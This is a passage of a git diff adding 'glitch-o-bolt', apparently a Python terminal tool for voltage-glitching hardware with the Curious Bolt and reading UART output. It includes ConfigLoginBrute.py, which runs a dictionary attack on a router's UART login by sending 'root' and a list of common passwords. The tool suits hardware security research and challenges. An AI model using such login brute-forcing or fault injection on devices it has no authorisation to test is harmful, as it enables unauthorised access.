+    else:
+        if increment_length:
+            to_increment = "length"
+            increment_amount = inc_length_amount
+            increment_length = False
+            increment_delay = True
+        else:
+            to_increment = "repeat"
+            increment_amount = inc_repeat_amount
+            increment_length = True
+            increment_delay = True
+    
+    current_val = functions.get_config_value(to_increment)
+    new_val = current_val + increment_amount
+    functions.set_config_value(to_increment, new_val)
+
+    functions.add_text(f"[auto] incrementing: {to_increment}")
+    
+    Len = functions.get_config_value("length")
+    Rep = functions.get_config_value("repeat")
+    Del = functions.get_config_value("delay")
+    functions.start_glitch(Len, Rep, Del)
+    
+def glitched_too_far():
+    global increment_delay, increment_length
+    global inc_delay_amount, inc_repeat_amount, inc_length_amount
+    
+    # Determine which value to decrement based on current state
+    if increment_delay:
+        if increment_length:
+            to_decrement = "repeat"
+            current_inc_amount = inc_repeat_amount
+        else:
+            to_decrement = "length"
+            current_inc_amount = inc_length_amount
+    else:
+        to_decrement = "delay"
+        current_inc_amount = inc_delay_amount
+    
+    # Get current value and decrement it
+    current_val = functions.get_config_value(to_decrement)
+    new_val = current_val - current_inc_amount 
+    functions.set_config_value(to_decrement, new_val)
+    
+    # Update the increment amount for next time
+    if current_inc_amount == 100:
+        new_inc_amount = 10
+    elif current_inc_amount == 10:
+        new_inc_amount = 1
+    else:
+        new_inc_amount = current_inc_amount  # keep as is if not 100 or 10
+    
+    # Update the correct increment amount variable
+    if to_decrement == "delay":
+        inc_delay_amount = new_inc_amount
+    elif to_decrement == "length":
+        inc_length_amount = new_inc_amount
+    elif to_decrement == "repeat":
+        inc_repeat_amount = new_inc_amount
+
+    functions.add_text(f"[auto] decrementing: {to_decrement}")
\ No newline at end of file
diff --git a/ConfigLoginBrute.py b/ConfigLoginBrute.py
new file mode 100644
index 0000000..c5328e9
--- /dev/null
+++ b/ConfigLoginBrute.py
@@ -0,0 +1,73 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyACM3"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["-", False], #0
+    ["-", False], #1
+    ["-", False], #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["user", False, "Router login:", "send_username"],
+    ["pass", False, "Password", "send_password"],
+    ["enter", False, "press Enter", "send_return"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def send_username():
+    functions.send_uart_message("root")  
+    functions.add_text("[auto] $> root")    
+
+# uncomment the following to use a password list!
+#with open("passwords.txt", "r") as f:
+#    password_list = [line.strip() for line in f if line.strip()]
+
+password_list = ["root", "password", "123456", "qwerty", "admin", "letmein"]
+current_password_index = 0
+
+def send_password():
+    global password_list, current_password_index
+    
+    passCount = len(password_list)
+    # Get the current password
+    password = password_list[current_password_index]
+    
+    # Send the password and update UI
+    functions.send_uart_message(password)  
+    functions.add_text(f"[pass {current_password_index} / {passCount}] $> {password}")
+    # Move to the next password (wrap around if at end of list)
+    current_password_index = (current_password_index + 1) % len(password_list)
+
+def send_return():
+    functions.send_uart_message(" ")    
\ No newline at end of file
diff --git a/README.md b/README.md
index 0303a74..8cfacef 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,48 @@
 glitch-o-bolt
 ===============
 
-A tool to aid with voltage glitching, specifically designed to work with the "Curious Bolt"
\ No newline at end of file
+A tool to aid with voltage glitching, specifically designed to work with the "Curious Bolt".
+
+Written in python3, requiring "textual"
+
+![glitch-o-bolt main screen](img/main_tagged.png)
+
+1. **UART** - Device to use and Baud rate
+2. **Config** - Config file in use
+3. **Glitch Settings** - Lengths and offsets to use with the bolt
+4. **Glitcher** - Button to send single glitch or toggle to continuously glitch
+5. **Status** - If glitch toggle is on; displays current settings and time elapsed
+6. **Triggers** - Pull up / down pins and toggle enabled or disabled
+7. **Conditions** - Custom toggles and buttons from the config file in use
+8. **Misc** - Enabe/disable UART and logging, clear the main window, and exit the program
+9. **Main Screen** - Where the UART output is displayed
+
+---
+
+## Running
+
+running this is super simple:
+
+```
+$> python3 glitch-o-bolt.py
+```
+
+use the **"-c"** flag to specify a config file. eg.
+
+```
+$> python3 glitch-o-bolt.py -c ConfigBaudBrute.py
+```
+
+If no config file is specified it will automatically try to use "config.py" or create it if it doesnt exist.
+
+---
+
+## Configs Included
+
+- **ConfigDemoAll** - Example to demo config file capabilities and values that can be set
+- **ConfigBaudBrute** - Example to determine baud rate for UART
+- **ConfigGlitchBrute** - Example to automatically find glitching lengths and offsets
+- **ConfigLoginBrute** - Example to bruteforce a UART login using a dictionary attack
+- **ConfigChall02** - Curious Bolt Level 1, Challenge 2 Solution
+- **ConfigChall03** - Curious Bolt Level 1, Challenge 3 Solution
+- **ConfigChall04** - Curious Bolt Level 1, Challenge 4 Solution
\ No newline at end of file
diff --git a/functions.py b/functions.py
new file mode 100644
index 0000000..66279b0
--- /dev/null
+++ b/functions.py
@@ -0,0 +1,766 @@
+import sys
+import os
+import re
+import time
+import serial
+import importlib
+from scope import Scope
+from textual.widgets import Button, Input, Switch
+from textual.containers import Vertical
+
+import asyncio
+import functions
+
+DEBUG_MODE = False
+
+app_instance = None  # Global variable to store the app instance
+text_area = None     # Store global reference to scrollable text area
+config = None        # dynamic loading of config file
+log_time = 0         # timestamp for logfile
+glitch_time = 0      # timestamp for when glitching started
+
+try:
+    s = Scope()
+except IOError:
+    s = None
+    print("Warning: Scope not connected, running in simulation mode")
+
+def set_config(cfg):
+    global config
+    config = cfg
+
+def set_app_instance(app):
+    """Store the app instance for UART access"""
+    global app_instance
+    app_instance = app
+
+def log_message(message):
+    if DEBUG_MODE:  
+        with open("debug.log", "a") as log_file:
+            log_file.write(message + "\n")
+
+def set_log_time(value):
+    global log_time
+    log_time = value
+
+def set_glitch_time(value):
+    global glitch_time
+    glitch_time = value
+
+def get_config_value(name: str) -> int:
+    """Return the latest value of the given config variable, and create them if they don't exist."""
+    if name == "length":
+        if not hasattr(config, "LENGTH"):
+            config.LENGTH = 0  # Default value if not set
+        return config.LENGTH
+    elif name == "repeat":
+        if not hasattr(config, "REPEAT"):
+            config.REPEAT = 0  # Default value if not set
+        return config.REPEAT
+    elif name == "serial_port":
+        if not hasattr(config, "SERIAL_PORT"):
+            config.SERIAL_PORT = "/dev/ttyUSB0"  # Default value if not set
+        return config.SERIAL_PORT
+    elif name == "baud_rate":
+        if not hasattr(config, "BAUD_RATE"):
+            config.BAUD_RATE = 115200  # Default value if not set
+        return config.BAUD_RATE
+    elif name == "delay":
+        if not hasattr(config, "DELAY"):
+            config.DELAY = 0  # Default value if not set
+        return config.DELAY
+    elif name == "log_time":
+        return log_time  # Return the module variable directly
+    elif name == "glitch_time":
+        return glitch_time  # Return the module variable directly
+    elif name == "conFile":
+        if not hasattr(config, "CONFILE"):
+            config.CONFILE = "config.py"  # Or any suitable default
+        return config.CONFILE
+    elif name.startswith("trigger_"):
+        if "_value" in name:
+            index = int(name.split('_')[1])
+            return config.triggers[index][0]
+        elif "_state" in name:
+            index = int(name.split('_')[1])
+            return config.triggers[index][1]
+    else:
+        return 0  # Default fallback for unknown names
+
+def set_config_value(name: str, value: int):
+
+    if hasattr(config, name.upper()):
+        current_value = getattr(config, name.upper())
+        setattr(config, name.upper(), value)
+
+        # Update corresponding Input field
+        input_field = app_instance.query_one(f"#{name}_input")
+        input_field.value = str(value)
+
+        # Update the status box row
+        update_status_box(app_instance, name, value)
+
+        # Refresh UI to reflect changes
+        app_instance.refresh()
+
+def get_condition_string(index):
+    """Returns the string from the triggers list at the given index."""
+    if 0 <= index < len(config.conditions):
+        return config.conditions[index][0]  # Return the string value
+    else:
+        raise IndexError("Index out of range")
+
+def get_condition_value(index):
+    """Returns the value from the triggers list at the given index."""
+    if 0 <= index < len(config.conditions):
+        return config.conditions[index][1]  # Return the boolean value
+    else:
+        raise IndexError("Index out of range")
+
+def set_condition_value(index: int, value: bool) -> None:
+    """Update switch state in config"""
+    if 0 <= index < len(config.conditions):
+        if app_instance.query(f"#condition_switch_{index}"):
+            switch = app_instance.query_one(f"#condition_switch_{index}", Switch)  
+            switch.value = value  # Force turn off
+    else:
+        raise IndexError("Index out of range")
+
+def ensure_triggers_exist():
+    if not hasattr(config, "triggers") or not config.triggers or len(config.triggers) < 8:
+        config.triggers = [["-", False] for _ in range(8)]
+
+def get_trigger_string(index):
+    """Returns the string from the triggers list at the given index."""
+    if 0 <= index < len(config.triggers):
+        return config.triggers[index][0]  # Return the string value
+    else:
+        raise IndexError("Index out of range")
+
+def get_trigger_value(index):
+    """Returns the value from the triggers list at the given index."""
+    if 0 <= index < len(config.triggers):
+        return config.triggers[index][1]  # Return the boolean value
+    else:
+        raise IndexError("Index out of range")
+
+def set_trigger_value(index, value):
+    if 0 <= index < len(config.triggers):
+        switch = app_instance.query_one(f"#trigger_switch_{index}", Switch)  
+        switch.value = value  # Force turn off
+    else:
+        raise IndexError("Index out of range")
+
+def set_trigger_string(index: int, value: str):
+    # Validate the input value
+    valid_values = ["^", "v", "-"]
+    if value not in valid_values:
+        raise ValueError(f"Invalid trigger value. Must be one of {valid_values}")
+
+    # Update config
+    config.triggers[index][0] = value
+    config.triggers[index][1] = False
+
+    # Update the symbol display in the UI
+    symbol_widget = app_instance.query_one(f"#trigger_symbol_{index}")
+    symbol_widget.update(value)
+
+    # Update the switch in the UI
+    switch_widget = app_instance.query_one(f"#trigger_switch_{index}")
+    switch_widget.value = False
+
+def toggle_trigger(self, index: int):
+    current_symbol = config.triggers[index][0]
+    cycle = ["^", "v", "-"]
+    next_symbol = cycle[(cycle.index(current_symbol) + 1) % len(cycle)]
+
+    # Update config
+    config.triggers[index][0] = next_symbol
+    config.triggers[index][1] = False
+
+    # Update the symbol display in the UI
+    symbol_widget = self.query_one(f"#trigger_symbol_{index}")
+    symbol_widget.update(next_symbol)
+
+    # Update the switch in the UI
+    switch_widget = self.query_one(f"#trigger_switch_{index}")
+    switch_widget.value = False
+    log_message("next symbol: "+next_symbol)
+
+def set_uart_switch(state: bool | None = None) -> None:
+    switch_uart = app_instance.query_one("#uart_switch")
+    if state is None:
+        switch_uart.value = not switch_uart.value  # Toggle
+    else:
+        switch_uart.value = state  # Set to specific state
+
+def modify_value(variable_name: str, amount: int) -> int:
+    """
+    Modify a global variable by a given amount.
+    
+    Args:
+        variable_name (str): The name of the variable to modify.
+        amount (int): The amount to increment or decrement.
+
+    Returns:
+        int: The updated value.
+    """
+    global config  # Ensure we modify the variables from config.py
+
+    if variable_name == "length":
+        config.LENGTH += amount
+        return config.LENGTH
+    elif variable_name == "repeat":
+        config.REPEAT += amount
+        return config.REPEAT
+    elif variable_name == "delay":
+        config.DELAY += amount
+        return config.DELAY
+    else:
+        raise ValueError(f"Unknown variable: {variable_name}")
+
+def on_button_pressed(app, event: Button.Pressed) -> None:
+    """Handle button presses and update values dynamically."""
+    button = event.button
+    button_name = button.name
+
+    if button_name:
+        # Strip everything before the first hyphen, including the hyphen itself
+        button_name = button_name.split("-", 1)[-1]  # Get the part after the first hyphen
+        
+        parts = button_name.split("_")
+        if len(parts) == 2:
+            variable_name, amount = parts[0], int(parts[1])
+
+            # Update the variable value in config.py
+            if hasattr(config, variable_name.upper()):
+                current_value = getattr(config, variable_name.upper())
+                new_value = current_value + amount
+                setattr(config, variable_name.upper(), new_value)
+
+                # Update corresponding Input field
+                input_field = app.query_one(f"#{variable_name}_input")
+                input_field.value = str(new_value)
+
+                # Update the status box row
+                update_status_box(app, variable_name, new_value)
+
+                # Refresh UI to reflect changes
+                app.refresh()
+
+def on_save_button_pressed(app, event: Button.Pressed) -> None:
+    """Handle the Save button press to save the values."""
+    button = event.button
+    button_name = button.name
+
+    if button_name:
+        variable_name = button_name.replace("save_val-", "")
+        variable_name = variable_name.replace("_save", "")  # Extract the variable name from button
+        input_field = app.query_one(f"#{variable_name}_input", Input)
+
+        new_value = int(input_field.value)
+        setattr(config, variable_name.upper(), new_value)
+        
+        update_status_box(app, variable_name, new_value)
+        app.refresh()
+
+def save_uart_settings(app, event: Button.Pressed) -> None:
+
+    cur_uart_port = str(app.query_one(f"#uart_port_input", Input).value)
+    cur_baud_rate = int(app.query_one(f"#baud_rate_input", Input).value)
+
+    config.SERIAL_PORT = cur_uart_port
+    config.BAUD_RATE = cur_baud_rate
+
+    main_content = app.query_one(".main_content", Vertical)
+    main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE}"
+    app.refresh()
+
+def change_baudrate(new_baudrate):
+    """Change the baud rate using the app_instance's serial connection"""
+    if app_instance is None:
+        add_text("[ERROR] App instance not available")
+        return False
+    
+    if not hasattr(app_instance, 'serial_connection'):
+        add_text("[ERROR] No serial connection in app instance")
+        return False
+
+    input_field = app_instance.query_one(f"#baud_rate_input")
+    input_field.value = str(new_baudrate)
+    
+    serial_conn = app_instance.serial_connection
+    
+    if serial_conn is None or not serial_conn.is_open:
+        add_text("[ERROR] Serial port not initialized or closed")
+        return False
+    
+    try:
+        old_baudrate = serial_conn.baudrate
+        serial_conn.baudrate = new_baudrate
+        config.BAUD_RATE = new_baudrate
+
+        main_content = app_instance.query_one(".main_content", Vertical)
+        if functions.get_config_value("log_time") == 0:
+            main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE}"
+        else:
+            time = str(functions.get_config_value("log_time"))
+            main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE} \\[{time}.log]"
+        
+        return True
+        
+    except ValueError as e:
+        add_text(f"[ERROR] Invalid baud rate {new_baudrate}: {e}")
+    except serial.SerialException as e:
+        add_text(f"[ERROR] Serial error changing baud rate: {e}")
+        # Attempt to revert
+        try:
+            serial_conn.baudrate = old_baudrate
+        except:
+            add_text("[WARNING] Failed to revert baud rate")
+    return False
+
+def update_status_box(app, variable_name, new_value):
+    column_keys = list(app.status_box.columns.keys())
+
+    # We only have two columns: "Attribute" and "Value"
+    if variable_name == "length":
+        row_key = list(app.status_box.rows.keys())[0]  # The first row
+        column_key = column_keys[1]  # The Value column for 'length'
+    elif variable_name == "repeat":
+        row_key = list(app.status_box.rows.keys())[1]  # The first row
+        column_key = column_keys[1]  # The Value column for 'repeat'
+    elif variable_name == "delay":
+        row_key = list(app.status_box.rows.keys())[2]  # The first row
+        column_key = column_keys[1]  # The Value column for 'delay'
+    elif variable_name == "elapsed":
+        row_key = list(app.status_box.rows.keys())[3]  # The first row
+        column_key = column_keys[1]  # The Value column for 'delay'
+
+    app.status_box.update_cell(row_key, column_key, str(new_value))
+
+def run_custom_function(app, event):
+    """Handle custom function buttons with enhanced logging"""
+    button = event.button
+    button_name = button.name
+    debug = DEBUG_MODE  # Set to False after testing
+
+    log_message(f"[CUSTOM] Button pressed: '{button_name}'")
+
+    if button_name:
+        try:
+            variable_name = int(button_name.replace("custom_function-", ""))
+            log_message(f"[CUSTOM] Condition index: {variable_name}")
+
+            if 0 <= variable_name < len(config.conditions):
+                func_name = config.conditions[variable_name][3]
+                log_message(f"[CUSTOM] Executing: {func_name}")
+                
+                # Use the centralized execution function
+                success = execute_condition_action(func_name, debug)
+                
+                if not success:
+                    log_message(f"[CUSTOM] Failed to execute {func_name}")
+            else:
+                log_message(f"[CUSTOM] Invalid index: {variable_name}")
+
+        except ValueError:
+            log_message(f"[CUSTOM] Invalid button format: '{button_name}'")
+        except Exception as e:
+            log_message(f"[CUSTOM] Error: {str(e)}")
+            if debug:
+                log_message(f"[DEBUG] {traceback.format_exc()}")
+
+def write_to_log(text: str, log_time: int):
+    """Write text to a log file named {log_time}.log in the logs directory"""
+    # Create logs directory if it doesn't exist
+    logs_dir = "logs"
+    if not os.path.exists(logs_dir):
+        os.makedirs(logs_dir)
+    
+    # Create filename using log_time value
+    log_file = os.path.join(logs_dir, f"{log_time}.log")
+    
+    # Append text to log file
+    with open(log_file, "a") as f:
+        f.write(f"{text}")
+
+def add_text(text):
+    """Add text to the log widget and optionally to a log file"""
+    if hasattr(functions, 'text_area'):
+        functions.text_area.write(text + "\n")
+    
+    log_time = get_config_value("log_time")
+    if log_time > 0:
+        write_to_log(text+"\n", log_time)
+
+def update_text(text):
+    """Update text without adding newlines"""
+    if hasattr(functions, 'text_area'):
+        functions.text_area.write(text)
+
+def save_config(app):
+    config_file = get_config_value("conFile")
+    temp_file = config_file + ".tmp"
+    new_file = str(app.query_one(f"#config_file_input", Input).value)
+    
+    try:
+        # Get current values
+        serial_port = get_config_value("serial_port")
+        baud_rate = get_config_value("baud_rate")
+        length = get_config_value("length")
+        repeat = get_config_value("repeat")
+        delay = get_config_value("delay")
+        
+        # Get triggers
+        triggers = []
+        for i in range(8):
+            triggers.append([
+                get_config_value(f"trigger_{i}_value"),
+                get_config_value(f"trigger_{i}_state")
+            ])
+        
+        # Read existing config
+        existing_content = ""
+        custom_functions = []
+        imports = []
+        if os.path.exists(config_file):
+            with open(config_file, 'r') as f:
+                existing_content = f.read()
+            
+            # Extract imports and functions
+            import_pattern = re.compile(r'^import .+?$|^from .+? import .+?$', re.MULTILINE)
+            imports = import_pattern.findall(existing_content)
+            
+            func_pattern = re.compile(r'^(def \w+\(.*?\):.*?)(?=^(?:def \w+\(|\Z))', re.MULTILINE | re.DOTALL)
+            custom_functions = [fn.strip() for fn in func_pattern.findall(existing_content) if fn.strip()]
+        
+        # Write new config file
+        with open(temp_file, 'w') as f:
+            # Write imports
+            if imports:
+                f.write("######\n# LEAVE THESE IMPORTS!\n######\n")
+                f.write("\n".join(imports) + "\n\n")
+            
+            # Write config values
+            f.write("######\n# config values\n######\n\n")
+            f.write(f"SERIAL_PORT = {repr(serial_port)}\n")
+            f.write(f"BAUD_RATE = {baud_rate}\n\n")
+            f.write(f"LENGTH = {length}\n")
+            f.write(f"REPEAT = {repeat}\n")
+            f.write(f"DELAY = {delay}\n\n")
+            
+            # Write triggers
+            f.write("###\n# ^ = pullup, v = pulldown\n###\n")
+            f.write("triggers = [\n")
+            for i, (value, state) in enumerate(triggers):
+                f.write(f"    [{repr(value)}, {state}],  #{i}\n")
+            f.write("]\n")
+            
+            # Write conditions if they exist
+            if hasattr(config, 'conditions') and config.conditions:
+                f.write("\n###\n# name, enabled, string to match\n###\n")
+                f.write("conditions = [\n")
+                for condition in config.conditions:
+                    f.write(f"    {condition},\n")
+                f.write("]\n")
+            
+            # Write custom functions with proper spacing
+            if custom_functions:
+                f.write("\n######\n# Custom functions\n######\n")
+                f.write("\n\n".join(custom_functions))
+                f.write("\n")  # Single newline at end
+        
+        # Finalize file
+        if os.path.exists(new_file):
+            os.remove(new_file)
+        os.rename(temp_file, new_file)
+        config.CONFILE = new_file
+        add_text(f"[SAVED] config {new_file} saved")
+        
+    except Exception as e:
+        log_message(f"Error saving config: {str(e)}")
+        if os.path.exists(temp_file):
+            os.remove(temp_file)
+        raise
+
+def start_serial():
+    try:
+        ser = serial.Serial(
+            port=config.SERIAL_PORT,
+            baudrate=config.BAUD_RATE,
+            timeout=0.1,          # Read timeout (seconds)
+            write_timeout=1.0,    # Write timeout
+            inter_byte_timeout=0.05, # Between bytes
+            exclusive=True,        # Prevent multiple access
+            rtscts=True,           # Enable hardware flow control
+            dsrdtr=True            # Additional flow control
+        )
+        add_text("Connected to serial port.")
+        return ser
+    except serial.SerialException as e:
+        add_text(f"[ERROR] Serial exception: {e}")
+        return None
+
+def send_uart_message(message):
+    """Send a message via UART from anywhere in the application"""
+    if not app_instance:
+        log_message("[UART] Not sent - No app instance")
+        return False
+    
+    if not hasattr(app_instance, 'serial_connection') or not app_instance.serial_connection.is_open:
+        log_message("[UART] Not sent - UART disconnected")
+        return False
+    
+    try:
+        # Ensure message ends with newline if it's not empty
+        if message and not message.endswith('\n'):
+            message += '\n'
+        
+        # Send the message
+        app_instance.serial_connection.write(message.encode('utf-8'))
+        log_message(f"[UART] Sent: {message.strip()}")
+        return True
+    except Exception as e:
+        log_message(f"[UART TX ERROR] {str(e)}")
+        return False
+
+def get_conditions_buffer_size(debug=False):
+    """Return the maximum length of condition strings with debug option"""
+    if not hasattr(config, 'conditions') or not config.conditions:
+        if debug:
+            log_message("[DEBUG] No conditions defined, using default buffer size 256")
+        return 256
+    
+    valid_lengths = [len(cond[2]) for cond in config.conditions if cond[2]]
+    if not valid_lengths:
+        if debug:
+            log_message("[DEBUG] All condition strings are empty, using default buffer size 256")
+        return 256
+    
+    max_size = max(valid_lengths)
+    if debug:
+        log_message(f"[DEBUG] Calculated buffer size: {max_size} (from {len(config.conditions)} conditions)")
+    return max_size
+
+def check_conditions(self, buffer, debug=False):
+    """Check buffer against all conditions by examining every position"""
+    if debug:
+        log_message(f"[DEBUG] Checking buffer ({len(buffer)} chars): {repr(buffer)}")
+        
+    if not hasattr(config, 'conditions') or not config.conditions:
+        if debug:
+            log_message("[DEBUG] No conditions to check against")
+        return None
+        
+    for i, condition in enumerate(config.conditions):
+        trigger_str = condition[2]
+        if not trigger_str:  # Skip empty trigger strings
+            continue
+            
+        trigger_len = len(trigger_str)
+        buffer_len = len(buffer)
+        
+        if debug:
+            log_message(f"[DEBUG] Checking condition {i} for '{trigger_str}' (length: {trigger_len})")
+        
+        # Check every possible starting position in the buffer
+        for pos in range(buffer_len - trigger_len + 1):
+            # Compare slice of buffer with trigger string
+            if buffer[pos:pos+trigger_len] == trigger_str:
+                try:
+                    condition_active = config.conditions[i][1]  # Get state from config
+                    
+                    if not condition_active:
+                        if debug:
+                            log_message(f"[DEBUG] Condition {i} matched at position {pos} but switch is OFF")
+                        continue
+                    
+                    if debug:
+                        log_message(f"[DEBUG] MATCHED condition {i} at position {pos}: {condition[0]} -> {condition[3]}")
+                    return condition[3]
+                    
+                except Exception as e:
+                    if debug:
+                        log_message(f"[DEBUG] Condition check failed for {i}: {str(e)}")
+                    continue
+    
+    if debug:
+        log_message("[DEBUG] No conditions matched")
+    return None
+
+def execute_condition_action(action_name, debug=False):
+    """Execute the named action function using run_custom_function logic"""
+    if debug:
+        log_message(f"[ACTION] Attempting to execute: {action_name}")
+    
+    try:
+        # Check if action exists in config module
+        module_name = 'config'
+        module = importlib.import_module(module_name)
+        
+        if hasattr(module, action_name):
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in {module_name}")
+            getattr(module, action_name)()
+            return True
+        
+        # Check if action exists in functions module
+        if hasattr(sys.modules[__name__], action_name):
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in functions")
+            getattr(sys.modules[__name__], action_name)()
+            return True
+        
+        # Check if action exists in globals
+        if action_name in globals():
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in globals")
+            globals()[action_name]()
+            return True
+        
+        log_message(f"[ACTION] Function '{action_name}' not found in any module")
+        return False
+        
+    except Exception as e:
+        log_message(f"[ACTION] Error executing {action_name}: {str(e)}")
+        if debug:
+            log_message(f"[DEBUG] Full exception: {traceback.format_exc()}")
+        return False
+
+def get_glitch_elapsed():
+    gtime = get_config_value("glitch_time")
+    if gtime <= 0:
+        return "000:00:00"
+    # Assuming gtime contains the start timestamp
+    elapsed = int(time.time() - gtime)
+    return f"{elapsed//3600:03d}:{(elapsed%3600)//60:02d}:{elapsed%60:02d}"
+
+def start_glitch(glitch_len, trigger_repeats, delay):
+    s.glitch.repeat = glitch_len
+    s.glitch.ext_offset = delay
+    #add_text(f"[GLITCHING]: length:{glitch_len}, offset:{delay}, repeat:{trigger_repeats}")
+            
+    triggers = [] # Get triggers
+    triggers_set = False
+    for i in range(8):
+        triggers.append([
+            get_config_value(f"trigger_{i}_value"),
+            get_config_value(f"trigger_{i}_state")
+        ])
+    for i, (value, state) in enumerate(triggers):
+        if state is True:
+            triggers_set = True
+            if value == "^":
+                #add_text(f"[GLITCHING]: armed: {i} ^")
+                s.arm(i, Scope.RISING_EDGE)
+            elif value == "v":
+                #add_text(f"[GLITCHING]: armed: {i} v")
+                s.arm(i, Scope.FALLING_EDGE)
+
+    if triggers_set is False:
+        #add_text(f"[GLITCHING]: repeat:{trigger_repeats}")
+        for _ in range(trigger_repeats):
+            s.trigger()
+
+def launch_glitch():
+    length = functions.get_config_value("length")
+    repeat = functions.get_config_value("repeat")
+    delay = functions.get_config_value("delay")
+    start_glitch(length, repeat, delay)
+
+async def glitch(self):
+    functions.log_message("[GLITCHING] Starting glitch monitor")
+    previous_gtime = None  # Track the previous state
+    
+    while True:
+        try:
+            gtime = get_config_value("glitch_time")
+            elapsed_time = get_glitch_elapsed()
+            functions.update_status_box(self, "elapsed", elapsed_time)
+            
+            # Only update if the state has changed
+            #if gtime != previous_gtime:
+            if gtime > 0:
+                self.status_box.border_subtitle = "running"
+                self.status_box.styles.border_subtitle_color = "#5E99AE"
+                self.status_box.styles.border_subtitle_style = "bold"
+
+                length = functions.get_config_value("length")
+                repeat = functions.get_config_value("repeat")
+                delay = functions.get_config_value("delay")
+                start_glitch(length, repeat, delay)
+            else:
+                self.status_box.border_subtitle = "stopped"
+                self.status_box.styles.border_subtitle_color = "#B13840"
+                self.status_box.styles.border_subtitle_style = "none"
+                
+                #previous_gtime = gtime  # Update the previous state
+
+        except Exception as e:
+            print(f"Update error: {e}")
+        
+        await asyncio.sleep(0.1)
+
+def glitching_switch(value):
+    switch = app_instance.query_one("#glitch-switch", Switch)  
+    switch.value = value  # Force turn off
+
+def run_output_high(gpio, time):
+    s.io.add(gpio, 1, delay=time)
+    s.io.upload()
+    s.trigger()
+
+def run_output_low(gpio, time):
+    s.io.add(gpio, 0, delay=time)
+    s.io.upload()
+    s.trigger()
+
+async def monitor_buffer(self):
+    """Background task to monitor serial buffer for conditions"""
+    debug = True
+    buffer_size = functions.get_conditions_buffer_size(debug)
+    
+    functions.log_message("[CONDITIONS] Starting monitor")
+    
+    while self.run_serial:
+        if not getattr(self, '_serial_connected', False):
+            await asyncio.sleep(1)
+            continue
+            
+        async with self.buffer_lock:
+            current_buffer = self.serial_buffer
+            max_keep = buffer_size * 3  # Keep enough buffer to catch split matches
+            
+            if len(current_buffer) > max_keep:
+                # Keep last max_keep characters, but ensure we don't cut a potential match
+                keep_from = len(current_buffer) - max_keep
+                # Find the last newline before this position to avoid breaking lines
+                safe_cut = current_buffer.rfind('\n', 0, keep_from)
+                if safe_cut != -1:
+                    keep_from = safe_cut + 1
+                self.serial_buffer = current_buffer[keep_from:]
+                current_buffer = self.serial_buffer
+                if debug:
+                    log_message(f"[DEBUG] Truncated buffer from {len(current_buffer)+keep_from} to {len(current_buffer)} chars")
+        
+        if current_buffer:
+            action = functions.check_conditions(self, current_buffer, debug)
+            if action:
+                functions.log_message(f"[CONDITIONS] Triggering: {action}")
+                success = functions.execute_condition_action(action, debug)
+                
+                if success:
+                    async with self.buffer_lock:
+                        # Clear the buffer after successful match
+                        self.serial_buffer = ""
+                else:
+                    functions.log_message("[CONDITIONS] Action failed")
+        
+        await asyncio.sleep(0.1)
+
+def clear_text():
+    text_area.clear()
+
+def end_program():
+    exit()
\ No newline at end of file
diff --git a/glitch-o-bolt.py b/glitch-o-bolt.py
new file mode 100644
index 0000000..aba439b
--- /dev/null
+++ b/glitch-o-bolt.py
@@ -0,0 +1,527 @@
+#!/usr/bin/env python3
+#
+# glitch-o-matic 2.0 - Optimized Version
+# Enhanced serial data performance while maintaining all existing features
+#
+# requirements: textual
+import os
+import sys
+import time
+import types
+import argparse
+import importlib.util
+import concurrent.futures
+
+import asyncio
+import select
+import serial
+import functools
+
+from scope import Scope
+from textual import events
+from textual.app import App, ComposeResult
+from textual.containers import Container, Vertical, Horizontal, Grid
+from textual.widgets import Static, DataTable, Input, Button, Switch, Log
+from textual.messages import Message
+
+# Define specific names for each control row
+control_names = ["length", "repeat", "delay"]
+
+def load_config(path):
+    spec = importlib.util.spec_from_file_location("dynamic_config", path)
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    
+    # Inject the loaded config as 'config'
+    sys.modules['config'] = module
+
+class PersistentInput(Input):
+    PREFIX = "$> "  # The permanent prefix
+
+    def __init__(self, **kwargs):
+        super().__init__(**kwargs)
+        self.value = self.PREFIX  # Set initial value
+
+    def on_input_changed(self, event: Input.Changed) -> None:
+        """Ensure the prefix is always present."""
+        if not event.value.startswith(self.PREFIX):
+            self.value = self.PREFIX  # Restore the prefix
+        elif len(event.value) < len(self.PREFIX):
+            self.value = self.PREFIX  # Prevent deleting
+
+def set_app_instance(app):
+    functions.app_instance = app
+
+class SerialDataMessage(Message):
+    def __init__(self, data: str):
+        super().__init__()  # Call the parent class constructor
+        self.data = data  # Store the serial data
+
+class LayoutApp(App):
+    CSS_PATH = "style.tcss"
+
+    async def on_ready(self) -> None:
+        #set_app_instance(self)
+        self.run_serial = True
+        self.serial_buffer = ""  # Add buffer storage
+        self.buffer_lock = asyncio.Lock()  # Add thread-safe lock
+        try:
+            functions.s = Scope()
+        except IOError:
+            s = None
+            print("Warning: Scope not connected, running in simulation mode")
+        
+        # Start both serial tasks
+        asyncio.create_task(self.connect_serial())
+        asyncio.create_task(functions.monitor_buffer(self))
+        asyncio.create_task(functions.glitch(self))
+        functions.log_message("[DEBUG] Serial tasks created")
+
+    async def connect_serial(self):
+        """Stable serial connection with proper error handling"""
+        switch_uart = self.query_one("#uart_switch")
+        
+        while self.run_serial:
+            if switch_uart.value:
+                if not getattr(self, '_serial_connected', False):
+                    try:
+                        # Close existing connection if any
+                        if hasattr(self, 'serial_connection') and self.serial_connection:
+                            self.serial_connection.close()
+                        
+                        # Establish new connection
+                        self.serial_connection = functions.start_serial()
+                        if self.serial_connection and self.serial_connection.is_open:
